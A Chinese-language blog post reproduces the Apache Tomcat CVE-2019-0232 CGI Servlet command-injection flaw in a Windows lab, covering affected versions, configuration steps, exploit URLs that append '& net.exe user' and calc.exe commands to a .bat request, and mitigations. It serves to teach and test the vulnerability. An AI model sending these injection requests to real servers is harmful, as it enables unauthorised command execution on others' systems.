CVE-2019-0232(TOMCAT远程代码执行)漏洞复现

一、漏洞简介

2019年4月13号,Apache Tomcat 9.0.18版本公告中提到,本次更新修复了一个代号为CVE-2019-0232的漏洞。

该漏洞只对Windows平台有效,Apache Tomcat 9.0.0.M1到9.0.17,8.5.0到8.5.39和7.0.0到7.0.93中的CGI Servlet很容易受到远程执行代码的影响,攻击者向CGI Servlet发送一个精心设计的请求,可在具有Apache Tomcat权限的系统上注入和执行任意操作系统命令。漏洞成因是当将参数从JRE传递到Windows环境时,由于CGI_Servlet中的输入验证错误而存在该漏洞。

触发该漏洞需要同时满足以下条件:

1. 系统为Windows

2. 启用了CGI Servlet(默认为关闭)

3. 启用了enableCmdLineArguments(Tomcat 9.0.*及官方未来发布版本默认为关闭)

影响范围:

Apache Tomcat 9.0.0.M1 to 9.0.17

Apache Tomcat 8.5.0 to 8.5.39

Apache Tomcat 7.0.0 to 7.0.93

二、测试环境

tomcat8.5.39、windows2008R2、JDK 1.8.0_201

三、测试过程

1.漏洞环境搭建

jdk和tomcat搭建

查看

2.配置apache tomcat

(1)打开tomcat目录中的web.xml文件

\apache-tomcat-8.5.39\conf\web.xml

(2)修改如下配置,默认情况下是被注释的。

打开同目录下的context.xml

修改context.xml,给Context添加privileged属性为true

找到apache-tomcat-8.5.39\webapps\ROOT\WEB-INF目录

新建一个cgi-bin文件夹

创建一个hello.bat的文件

如果不能直接改后缀,需要在文件夹选项中去掉 隐藏已知文件的扩展名

bat脚本内容如下:

echo Content-type: text/html

3.漏洞利用

1.查看用户

http://localhost:8080/cgi-bin/hello.bat?& C:\Windows\System32\net.exe user

url编码特殊字符

http://localhost:8080/cgi-bin/hello.bat?& C%3A%5CWindows%5CSystem32%5Cnet.exe+user

2.打开计算器

http://localhost:8080/cgi-bin/hello.bat?& C:\Windows\System32\calc.exe

http://localhost:8080/cgi-bin/hello.bat?& C%3A%5CWindows%5CSystem32%5Ccalc.exe

四、防御方法

1.开发者在URLDecoder.decode解码后增加一个正则表达式验证,检测url解码后的字符串输入的合法性。

2.用户可以将CGI Servlet初始化参数enableCmdLineArguments设置为false来进行防护。

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值